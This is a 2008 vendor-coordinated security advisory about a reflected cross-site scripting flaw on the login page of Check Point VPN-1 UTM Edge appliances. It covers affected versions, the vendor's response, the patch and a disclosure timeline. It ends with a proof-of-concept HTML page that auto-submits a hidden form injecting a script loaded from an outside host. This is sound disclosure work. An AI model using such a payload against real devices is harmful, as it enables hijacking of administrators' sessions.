Louhi Networks Security Advisory Advisory: Checkpoint VPN-1 UTM Edge cross-site scripting Release Date: 2008/03/06 Last Modified: 2008/03/06 Authors: Henri Lindberg, Associate of (ISC)² [firstname.lastname@example.org] Application: Checkpoint VPN-1 Edge W Embedded NGX 7.0.48x (patched in version 7.5.48) Devices: Checkpoint VPN-1 UTM Edge Attack type: Cross site scripting (non-persistent) Risk: Low Vendor Status: Vendor has released an updated version References: http://www.louhi.fi/advisory/checkpoint_080306.txt Overview: Quote from http://www.checkpoint.com/ "VPN-1 UTM Edge appliances deliver unified threat management to enterprises with branch offices and simplify security deployments and manageability. VPN-1 UTM Edge appliances consolidate proven enterprise-class technology into a single branch office solution that does not compromise the corporate network and eliminates the branch office as your weakest link. As part of Check Point's Unified Security Architecture, VPN-1 UTM Edge can enforce a global security policy and allows administrators to manage and update thousands of appliances as easily as managing one." Insufficient input validation and output encoding on the login page allows attacker to perform html-injection by posting suitable string to the login form handler. The injection leads to reflected pre-authentication cross site scripting. Details: Form based authentication is used only when device is accessed using HTTP. Authentication over HTTPS uses HTTP basic authentication. The device does not accept the parameters in a GET request, POST request has to be used instead - exploiting the XSS vulnerability requires therefore a bit more effort compared to ordinary GET based reflected cross site scripting vulnerability. The current version can be checked from http://xxx.xxx.xxx.xxx/pub/test.html where xxx.xxx.xxx.xxx is LAN IP address of the device. The page also displays current product key. Vendor response: "Once users register the appliance and connect to the service center (Safe@Office appliances), the latest firmware is automatically downloaded to their appliance. For UTM-1 Edge appliances, the latest firmware version can be downloaded from the Check Point download center. Currently, this is version 7.5.48 that does not contain the reported issue. We believe that customers are not exposed to this issue." Proof of Concept: <html> <body onload="document.f.submit()"> <form name="f" method="post" action="http://192.168.10.1" style="display:none"> <input name="user" value="'&lt;script/src=//l7.fi&gt;&lt;/script&gt;"> </form> </body> </html> Solution: Update to version 7.5.48 Disclosure Timeline: 19. February 2008 - Contacted Checkpoint by email 20. February 2008 - Vendor response. 6. March 2008 - Advisory was released Copyright 2008 Louhi Networks Oy. All rights reserved.